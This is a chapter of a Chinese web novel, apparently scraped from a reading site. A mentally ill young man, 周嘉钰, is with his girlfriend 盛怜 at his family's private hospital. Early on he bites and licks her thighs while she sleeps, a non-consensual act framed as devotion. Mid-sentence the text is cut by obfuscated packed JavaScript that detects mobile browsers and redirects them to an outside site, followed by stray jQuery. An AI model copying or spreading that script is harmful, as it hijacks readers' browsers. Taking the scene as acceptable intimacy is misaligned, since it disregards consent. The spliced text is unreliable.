默认冷灰
24号文字
方正启体

9. 拜金女9

作者:不鹤舟本书字数:K更新时间:
    安静的夜里,没有一点别的声音,只有他的呼吸,急促而粗重。


    昏暗朦胧的夜灯下,盛怜睡得很熟。


    她平躺着,双手交叠,放在身前,柔软的布料包裹住她的躯体,只露出一点皮肤。她钟爱黑色,深沉的暗淡的颜色,却衬得她皮肤更白,像阳光下将化的雪,有一种不可言喻的脆弱。


    周嘉钰目光落在她的脚上。他盯了一会,视线往上,是一截细长的小腿,隐没在睡裙里。


    他跪在她脚边,颤抖着手指,把裙摆推上去。


    果然。


    她有一双很漂亮的腿,长而直,皮肤白腻,纤细又不过分干瘦。然而略微丰腴的腿肉上,却布满了红痕。


    指痕?吻痕?


    周嘉钰的目光黑沉,因着想象中的画面,神色扭曲,表情嫉恨,如同恶鬼。


    他定定注视着她的大腿内侧。


    片刻后,他神经质地凑近了,高挺的鼻尖几乎贴上她的皮肉。


    肿了吗?


    淡淡的沐浴露香气传来,他贪婪地嗅闻,眼睛热的发红,呼吸滚烫,太阳穴一跳一跳地疼,过度激烈的情绪,使他头疼欲裂,几乎分不清这是幻觉还是现实。


    他用力掐着手心,却还是缓缓地,缓缓地,张嘴轻咬她腿上的红痕。他没有用力。只一寸寸把别人的痕迹覆盖。


    遇到肿的地方,力度更轻,像舔舐伤口那样,小心翼翼。


    这个夜很长。


    外表温柔的青年,就这样病态地跪在她身旁,迟迟不肯睡去。


    ……


    第二天,盛怜醒来时,发现身边没人。


    正疑惑,就见周嘉钰推门进来。


    “你醒啦。”周嘉钰过来拉她起来,“先洗漱吧,我刚做好了早饭。”


    盛怜怔怔:“你……”


    周嘉钰轻轻推着她的肩走到洗手间,把挤好牙膏的牙刷递给她,问:“要我帮你吗?”


    “……不用。”盛怜只好先刷牙。


    她打量镜子里的人,周嘉钰站在旁边一直注视着她,与她在镜中对上视线,意外地笑了一下。但是他精神看上去不是很好,唇色苍白,脸颊依然有些红。


    刷完牙,她迅速把手背贴上周嘉钰的额头。


    很烫。


    盛怜:“好像更严重了。”


    周嘉钰试图解释:“这没什么,你不用担心。”


    盛怜说:“不行,我们等会就去医院。”


    她看上去很坚决。


    周嘉钰只好答应:“好,那先吃完早饭,好吗?”


    在急着去医院的前提下,饭吃的很快。


    一个小时后,两人已经到了周氏旗下的私立医院。


    司机开着车一路驶进深处内院,与外部的白色大楼不同,里面环境清幽,不像医院,倒像精心打理的园林,只有几栋小楼散落在花草树木间。


    其中一栋楼就是专为周嘉钰而留的。


    他一进二楼病房,便有人接到通知,很快赶了过来。


    那医生看到还有别人,愣了一下,小心地问:“周少爷,您这次是……”


    周嘉钰说:“发烧。”


    医生又愣一下,十分谨慎:“那我叫内科医生过来,帮您先做个检查?”


    “你是医生,问我做什么?”


    周嘉钰眉眼恹恹,移开目光去看盛怜。


    她刚在倒水,没听到刚才对话,抬头看到他的视线,面露担忧。


    他便笑一下,温声说:“你在这里等我一会,我去做个检查。”


    盛怜乖巧点头。


    医生跟着周嘉钰出了房门,没等他问询,周嘉钰就说:“叫人随便开点退烧药给我。”


    医生迟疑:“这……”


    周嘉钰又开口:“还有,药吃完了。”


    医生惊讶:“吃完了?按照药量至少还有十几天……您又自己加药了?”


    “这很危险,周少爷。”


    他犹疑地问:“您的病情又加重了?”


    周嘉钰语气冷淡:“别多嘴。”


    医生显然习惯了他的脾气,说道:“我去给您开药,可是您总该抽时间做次诊断,这样不加干预地发展下去,不仅是精神问题……”


    周嘉钰打断了他:“那我妈呢?”


    医生闭嘴了。


    周家人的精神病症一脉相承,也同样地抗拒治疗,只维持着危险的平衡,任何一点震动都能引起理智的崩塌。


    作为拿人钱财的被雇佣者,他劝不动。


    到了一楼,医生去找人联合开药,周嘉钰坐在大厅,漫无目的地朝落地窗外看去。


    他看见一个陌生的女人。


    和两个熟悉的人。


    ……


    盛怜站在窗边,往楼下看。


    从花丛深处的另一栋楼,有一男一女出来了。确切地说,是一个阴郁而优雅的女人,推着轮椅上瘦骨嶙嶙的男人,慢慢悠悠地散心。


    女人时不时地微笑着说些什么,而男人面色僵硬,挤出笑容回答她。


    这是周嘉钰的父母。


    他们一路走到楼下,正要转弯,一个女孩从不远处的门口出现了,她提着礼物袋,步伐欢快,看到周母时面露惊喜,喊道:“周阿姨!”


    她快步走过去,跟轮椅上的男人打了招呼,“叔叔好。”


    随后她把手里的礼物递给周母,“周阿姨,这是你上次定制的香水,早上刚送过来。”


    “多谢你了。”周母叫她的名字,“宁熙。”


    宁熙看着她推轮椅的双手,“啊”一声,又把手缩回来,不好意思地笑:“还是我先拿着吧,等上去再放。”


    周母还要说些什么,却忽然把视线移到宁熙的身后,表情有些惊讶:“嘉钰?你怎么在这里?”


    宁熙疑惑回头,看到一个神情冷淡的青年。


    “这就是男女主命中注定的相遇。”


    盛怜有一搭没一搭地鼓着掌,语气是浮夸的咏叹调,脸上却没什么表情。


    “还真是不可抗拒的剧情之力啊。”


    系统不知道该说什么。


    过去,在盛怜才开始做任务的那段时间,她演技生涩,严格按照剧本行事,那时剧情没变过。


    后来,她开始反抗,她在人设允许的范围内把自己洗白,投注感情,总做一些多余的事,那时剧情也没变过。


    无论她顺应还是抗拒,无论她做一个有苦衷的好人还是做一个恶贯满盈的坏人,身为反派,她都对主线毫无影响,在短暂的偏移过后,就会死在原本的命运之下。


    系统沉默了一会,只能再次提醒:“别太沉浸。”


    别付出感情。


    别难过。


    但盛怜已经动起来,往楼下走,她笑意盈盈,说:“走吧,该我们出场了。”


    ……


    盛怜下去时,几个人还站在原地。


    周嘉钰出来是心血来潮,他跟父母倒没什么别的好说,只是突然想到感情问题,准备问一下他妈的心路历程。


    只是旁边站一个陌生人迟迟不走,他有些不耐烦,也没了心情,转身就要回去。


    一转身,看到了盛怜,他下意识露出一个笑,问:“小怜,你怎么下来了?”


    盛怜实话实说:“我在楼上看到你了。”


    她看向他后面,不知道该不该问,“他们是……”


    周嘉钰顿了一下,带着她走近,温声说:“这是我妈,这是我爸。”


    周父沉默地坐在轮椅上,没什么反应,周母神情倒很奇怪,不是那种豪门夫人看到儿子交了个不知底细的女朋友的打量,反而更像看一个无知无觉靠近危险的猎物,有一种怪异的怜悯。


    她很和蔼地说:“你就是嘉钰的女朋友么?”


    盛怜也不知道是不是。


    按理来说,她现在处于被分手后求复合的阶段,好像也没正式复合,但她还是稀里糊涂


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17368319|199840||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    地点了点头。


    周母浅笑着问:“要上去坐坐吗?”


    盛怜去看周嘉钰,周嘉钰说:“你想去吗?”


    盛怜犹犹豫豫:“可是你的病……”


    “病?什么病?”一旁,周母突然问。


    周嘉钰看她一眼,说:“小病,发烧。”


    周母幽幽叹口气:“发烧啊,我还以为是别的……”


    周嘉钰的眼神冰冷,她没继续,只说,“注意点身体。”


    盛怜疑问:“别的,是什么?”


    “没什么。”周嘉钰看见开药的医生已经回来了,他对盛怜说,“等我一下,我吃个药陪你一起去。”


    在周嘉钰暂时离开后,一旁当了许久透明人的宁熙终于有机会开口了。她把礼物留下,打个招呼离开,“周阿姨,我突然想起有事,就先走了,下次再见。”


    周母把周父残疾双腿上的薄毯整理一下,接过纸袋放在上面,无视男人隐忍愤怒的表情,说:“上次你说想进周氏实习的事,回去等消息吧。”


    宁熙看着她的动作发愣,听到话中意思才回神:“谢谢您!”


    她难掩激动,脚步轻快地往外走,路过盛怜时打了个照面,又是一怔,礼貌点一下头,才走远了。


    周母看向盛怜。


    周母的名字叫周清漪,是个很标准的豪门出身的世家夫人,穿着修身长裙,头发盘起来,四五十岁的模样,外表优雅温婉,却有一丝清瘦,仔细看时,眼底透出隐隐的阴郁。


    她问:“你跟嘉钰谈了多久了?”


    盛怜不知道她什么意思,模糊地说:“几个月吧。”


    周清漪又问:“那你了解他吗?”


    盛怜觉得有些奇怪:“还算了解吧。”


    周清漪笑一笑,低低地问:“那你知道他精神有问题吗?”


    周嘉钰从医生手里接过今天的药,面无表情地倒入口中,干吞下去,就往外走,但还是慢了一步,他听见周清漪的问话。


    药物还没发挥作用,他感觉到眩晕,与无法抑制的愤怒。


    他强行打断了对话,说:“小怜,我们回去吧,我有点不舒服。”


    “啊?不去了吗?”盛怜转头看他,“还有,你妈妈刚才说——”


    周嘉钰说:“下次再去,我现在头很晕,想躺一会,你能陪陪我吗?”


    他停顿一下,继续说:“别管她说的话,她有精神类疾病,有时候会把幻觉当成真的。”


    盛怜懵懂地点头,被他拉着手回到了病房。


    临进楼前,她看见周清漪推着轮椅也离开了,好似无事发生,轮椅上的男人神色灰暗,想把腿上的袋子扔掉,又被女人强硬地按下。


    周嘉钰躺到病床上,休息了一会,才觉得头脑清楚一点。


    他睁开眼,侧头去看盛怜,她坐在床边,正在看手机,很专注,连耳边的发丝垂下来都没在意。


    周嘉钰痴痴看了一会,伸手把那缕发丝拨到她耳后,指腹擦过她的脸颊,落在她的耳朵上,又往下划,碰到她柔软的耳垂。


    盛怜忽的一个激灵,下意识按灭手机,问:“你现在感觉怎么样?”


    周嘉钰突然觉得不对劲,声音幽幽:“你刚在看什么?”


    盛怜心虚:“就随便看看啊,你要喝水吗?我去给你倒杯水。”


    又是那个贱男人的消息吧!


    周嘉钰指甲都快把手心掐破了,面上还要微笑,”不用了,你上来陪我一会吧。”


    “现在?”


    盛怜为难,但看着周嘉钰难受的模样,还是爬上床,躺到他旁边。


    周嘉钰侧过身,搂住她的腰。他手长腿长,手掌宽大,这样一揽就几乎将她整个人抱进怀里,他微微低着头,离她的脸很近,连睫毛都看得清清楚楚,安静地忽闪,像振翅的蝴蝶。


    呼吸交叠,浅淡的香气传来。


    他忽然失去理智,问:“小怜,我可以亲你吗?”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)